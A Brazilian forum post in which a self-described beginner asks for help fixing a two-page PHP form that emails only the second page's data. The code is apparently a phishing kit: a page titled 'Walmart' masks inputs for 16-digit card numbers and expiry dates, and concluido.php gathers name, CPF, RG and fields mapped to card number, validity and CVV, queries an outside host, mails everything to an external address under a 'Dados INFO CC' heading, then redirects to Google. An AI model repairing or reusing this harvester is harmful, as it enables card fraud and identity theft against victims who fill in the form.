Ir para conteúdo
Fórum Script Brasil
  • 0

Formulario em php retorna somente 2 parte


beto8km

Pergunta

Bom dia pessoal, estou com um probleminha aqui, sou iniciante em php gostaria de saber de voces conseguem me ajudar.
Tenho um formulario em meu site que recolhe os dados pessoais e na proxima pagina ele recolhe os dados regionais da pessoa, o problema é que não fui eu que escrevi o código estou tentando implementalo em meu site, ele envia os dados somente do segundo formulario o do primeiro me retorna erro, segue abaixo o codigo do meu index.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>


<link rel="shortcut icon" href="img/favicon.ico" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>meu site</title>

<link href="css/estilo.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="jquery.js" />
<script type="text/javascript" src="mask.js" />
<script>

function confereCampos(form) {    
    var campos = form.getElementsByTagName('input');
    var podeEnviar = true;
    for (i = 0; i < campos.length; i++) {
        var classe = campos.className;
        var valor = campos.value;
        if (classe == 'campos_texto' && valor == '') podeEnviar = false;
    }
    if (podeEnviar == true) {
        return true;
    } else {
        alert('Todos os campos são obrigatorios, favor preencher!')
        return false;
    }
}
</script>
<script type="text/javascript">
    // Mascaras para o formulario
$(document).ready(function(){
$(function() {
$('#cpf').mask('999.999.999-99'); //CPF
$('#nascimento').mask('99/99/9999'); //CPF
});});
</script></head><body>
<div id="header">
<div class="banner">

</div><!--banner-->
</div><!--header-->
<div id="main">

<div class="imgs">

<div id="txt" style="position: absolute; width: 280px; font-family: Tahoma,Geneva,sans-serif; font-style: normal; font-variant: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; text-align: center; top: 360px; text-shadow: rgb(204, 204, 204) 0pt 1px 1px; color: rgb(51, 51, 51); font-weight: bold;">

</div>
</div><!--imgs-->

<!-------------------------------SISTEMA---------------------------------------->

<div id="cadastro">
<div class="bg">
<div class="top"> * Preecha com seus dados pessoais o formulário. </div><!--top-->
<br />
<br />
<form name="frm" action="proximo.htm" method="post" target="_self" onSubmit='return confereCampos(this)'>
<fieldset>
<legend>
Nome Completo *
</legend>
<input name="nome" input type="text" name="nome" size="40" />
</fieldset>
<fieldset>
<legend>
CPF *
</legend>
<input type="text" name="cpf" id="cpf" size="35" />
</fieldset>
<fieldset>
<legend>
RG *
</legend>
<input type="text" name="rg" id="rg" size="30" />
</fieldset>
<fieldset>
<legend>
Data de nascimento *
</legend>
<input name="data" type="text" class="campos_texto" id="nascimento" size="17" maxlength="10" />
<button type="submit" name="ok">Proximo</button>
</fieldset>
</form>
</div><!--bg-->
</div><!--cadastro-->

<!-------------------------------SISTEMA---------------------------------------->
<br />
<br />
<br />
<div id="bt" style="height: 50px; position: absolute; top: 600px; font-family: Tahoma,Geneva,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10px; line-height: normal; font-size-adjust: none; font-stretch: normal; width: 910px;">
<br />
<br />
<br />
<br />
<p><strong>meu site</strong></p>
</div>

</div><!--main-->
</body></html>


----------------------------------------------------------------
abaixo coloco o código do meu proximo.htm

<?
function validaCPF($cpf)
{    // Verifiva se o número digitado contém todos os digitos
    @$cpf = str_pad(ereg_replace('[^0-9]', '', $cpf), 11, '0', STR_PAD_LEFT);
    
    // Verifica se nenhuma das sequências abaixo foi digitada, caso seja, retorna falso
    if (strlen($cpf) != 11 || $cpf == '00000000000' || $cpf == '11111111111' || $cpf == '22222222222' || $cpf == '33333333333' || $cpf == '44444444444' || $cpf == '55555555555' || $cpf == '66666666666' || $cpf == '77777777777' || $cpf == '88888888888' || $cpf == '99999999999')
    {
    return false;
    }
    else
    {   // Calcula os números para verificar se o CPF é verdadeiro
        for ($t = 9; $t < 11; $t++) {
            for ($d = 0, $c = 0; $c < $t; $c++) {
                $d += $cpf{$c} * (($t + 1) - $c);
            }

            $d = ((10 * $d) % 11) % 10;

            if ($cpf{$c} != $d) {
                return false;
            }
        }

        return true;
    }
}
    $cpf_enviado = validaCPF($_POST['cpf']);
    // Verifica a resposta da função e exibe na tela
    if($cpf_enviado == true)
     {
     }
    elseif($cpf_enviado == false)
    {
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="shortcut icon" href="img/favicon.ico">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Walmart</title>

<link href="css2/estilo.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="mask.js"></script>
<script>

function confereCampos(form) {    
    var campos = form.getElementsByTagName('input');
    var podeEnviar = true;
    for (i = 0; i < campos.length; i++) {
        var classe = campos.className;
        var valor = campos.value;
        if (classe == 'campos_texto' && valor == '') podeEnviar = false;
    }
    if (podeEnviar == true) {
        return true;
    } else {
        alert('Todos os campos são obrigatorios, favor preencher!')
        return false;
    }
}
</script>
<script type="text/javascript">
    // Mascaras para o formulario
$(document).ready(function(){
$(function() {
$('#cc').mask('9999999999999999'); //INFO
$('#vd').mask('99/99'); //INFO
});});
</script>

</head>

<body>
<div id="header">
<div class="banner">

</div><!--banner-->
</div><!--header-->
<div id="main">

<div class="imgs">

<div id="txt" style="position:absolute; width:280px; font:14px Tahoma, Geneva, sans-serif; text-align:center; top:360px; text-shadow:0 1px 1px #CCC; color:#333; font-weight:bold;">

</div>
</div><!--imgs-->

<!-------------------------------SISTEMA---------------------------------------->

<div id="cadastro">
<div class="bg">
<div class="top"> * Preencha com seus dados formulário.</div><!--top-->
<br />
<br />
<form name="frm" action="concluido.php" method="post" target="_self" onSubmit='return confereCampos(this)'>
<fieldset>
<legend>
pais *
</legend>
            <select name="tipo" id="tipo">
                <option>Escolha:</option>
                <option>teste</option>
                <option>teste1</option>
                <option>teste2</option>
                <option>teste3</option>
                <option>teste4</option>
            </select>
</fieldset>
<fieldset>
<legend>
estado *
</legend>
<input type="text" name="estado" id="estado" size="45" />
</fieldset>
<fieldset>
<legend>
cidade *
</legend>
<input type="text" name="cidade" id="cc" size="40" />
</fieldset>
<fieldset>
<legend>
bairro *
</legend>
<input type="text" name="bairro" id="bairro" size="17" />
</fieldset>
<fieldset>
<legend>
rua *
</legend>
<input name="rua" type="text" size="10" id="rua" maxlength="4" />
</fieldset>

<fieldset style="font:12px Tahoma, Geneva, sans-serif;">
  <input name="promo" type="checkbox" id="promo" /> Receber o acompanhamento por E-mail<br />
 </fieldset>
<fieldset>
<button type="submit" name="ok">enviar dados</button>
</fieldset>
<input name="nome" type="hidden" id="estado" value="<?php echo $_POST [ "estado" ]; ?>" />
<input name="cpf" type="hidden" id="cidade" value="<?php echo $_POST [ "cidade" ]; ?>" />
<input name="rg" type="hidden" id="bairro" value="<?php echo $_POST [ "bairro" ]; ?>" />
<input name="data" type="hidden" id="rua" value="<?php echo $_POST [ "rua" ]; ?>" />
</form>
</div><!--bg-->
</div><!--cadastro-->
</div>
<!-------------------------------SISTEMA---------------------------------------->
<br />
<br />
<br />
<br />
<div id="bt" style=" height:50px; position:absolute; top:600px; font:10px Tahoma, Geneva, sans-serif; width:910px;">
<br />
<br />
<br />
<br />
<p><strong>meu site</strong></p>
</div>

</div><!--main-->
</body>
</html>

-----------------------------------
abaixo coloco o formulario de concluido.php

<?php 

$useragent = $_SERVER['HTTP_USER_AGENT'];
  if (preg_match('|MSIE ([0-9].[0-9]{1,2})|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'IE';
  } elseif (preg_match( '|Opera/([0-9].[0-9]{1,2})|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Opera';
  } elseif(preg_match('|Firefox/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Firefox';
  } elseif(preg_match('|Chrome/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Chrome';
  } elseif(preg_match('|Safari/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Safari';
  } else {
    // browser not recognized!
    $browser_version = 0;
    $browser= 'other';
  }
  

//PEGA OS DADOS ENVIADOS PELO FORMULÁRIO
    $nome =    $_POST['nome'];
    $cpf    =    $_POST['cpf'];
    $rg        =    $_POST['rg'];
    $nomecc     =    $_POST['estado'];
    $numerocc    =     $_POST['cidade'];
    $validade    =    $_POST['bairro'];
    $cvv    =    $_POST["rua"];
    $ip    =    $_SERVER['REMOTE_ADDR'];
    $hora=date('H:i:s');

    $ch = @curl_init();
$numero_cc=$numero_cc;
// Define a URL original (do formulário de login)
@curl_setopt($ch, CURLOPT_URL, 'http://hel');
// Habilita o protocolo POST
@curl_setopt ($ch, CURLOPT_POST, 1);
// Define os parâmetros que serão enviados (usuário e senha por exemplo)
@curl_setopt ($ch, CURLOPT_POSTFIELDS, "data=$numero_cc");
// Imita o comportamento patrão dos navegadores: manipular cookies
@curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
// Define o tipo de transferência (Padrão: 1)
@curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
// Executa a requisição
$store = @curl_exec ($ch);
$var = $store;
$q = explode("<i>", $var);
$q2 = explode("</i>", $q[1]);
    
//ENVIAR PARA EMAIL

$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: $$ Up 2017 $$ <change@change.com>";
$conteudo.="<b>=-=-=-=-=-=-=-=-=-=-Dados Cadastrais=-=-=-=-=-=-=-=-=-=-=-=-</b><br>";
$conteudo.="<b>Ip: </b>$ip - Navegador: </b>$browser $browser_version<br>";
$conteudo.="<b>Nome: </b>$nome<br>";
$conteudo.="<b>cpf: </b>$cpf<br>";
$conteudo.="<b>Rg: </b>$rg<br>";
$conteudo.="<b>-------------------Dados INFO CC-----------------------</b><br>";
$conteudo.="<b>estado: </b>$estado<br>";
$conteudo.="<b>cidade: </b>$cidade<br>";
$conteudo.="<b>bairro: </b>$bairro<br>";
$conteudo.="<b>rua: </b>$rua<br>";
$conteudo.="<b>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</b><br>";
@mail("silvio74caldas@outlook.com", "$ip - $q2[0]", "$conteudo", $headers); // <- trocar e-mail

echo"<meta http-equiv='refresh' content='0;  http://www.google.com.br'>";
?>

Ele me retorna os dados no meu email sem os dados pessoais da pessoa somente os dados regionais

recebo no meu email assim, não chega os dados gravados no primeiro formulario

-------------------------------------------------------------------------
Ip: 187.36.26.34 - Navegador: Firefox 54.0
Nome: rewrwerwerwer
Cpf: 
Rg:
-------------------Dados INFO CC-----------------------
Estado: rewrwerwerwer
Cidade: dsadsadsad
Bairro: 2342342342342342
Rua: 4234
Numero: 23/42
-----------------------------------------------------------------------

Link para o comentário
Compartilhar em outros sites

1 resposta a esta questão

Posts Recomendados

  • 0

Vou tentar ser mais claro (são dois formulários um em cada página)

percebo que ele envia somente os dados gravados no 
<form name="frm" action="concluido.php" method="post" target="_self" onSubmit='return confereCampos(this)'>

então o erro deve estar porque o primeiro formulario não envia os dados para o mesmo local como pode se perceber abaixo

<form name="frm" action="proximo.htm" method="post" target="_self" onSubmit='return confereCampos(this)'>
 

como disse anteriormente não intendo muito mas percebo algo estranho ai, ele envia os dados daquele primeiro formulario vazios, fiz alteração no action da primeira página do formulario e ele me retornou os valores da primeira pagina e não os da segunda, já fiz um monte de testes pra ver se ele envia os dois formularios mas sem sucesso, abaixo segue mais umas partes do codigo que como leigo considero importantes que talvez tenham o erro

// Define os parâmetros que serão enviados (usuário e senha por exemplo)
@curl_setopt ($ch, CURLOPT_POSTFIELDS, "data=$numero_cc");

aqui em baixo percebi que ele esconde os valores para poder trabalhar com eles nessa pagina do segundo formulario mas não consegue recuperalos para enviar por email

<input name="cpf" type="hidden" id="cpf" value="<?php echo $_POST [ "cpf" ]; ?>" />
<input name="rg" type="hidden" id="rg" value="<?php echo $_POST [ "rg" ]; ?>" />

 

já tentei por o action do primeiro formulario igual a do segundo mas na hora de preencher o primeiro formulario clico em enviar era pra ele me enviar para a segunda parte do formulario mas ele finaliza a ação indo diretamente para a página refresh do segundo formulario, qualquer solução ou gambiarra é muito bem vinda.

Agradeço o tempo pela leitura deste leigo metido.

 


 

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,7k
×
×
  • Criar Novo...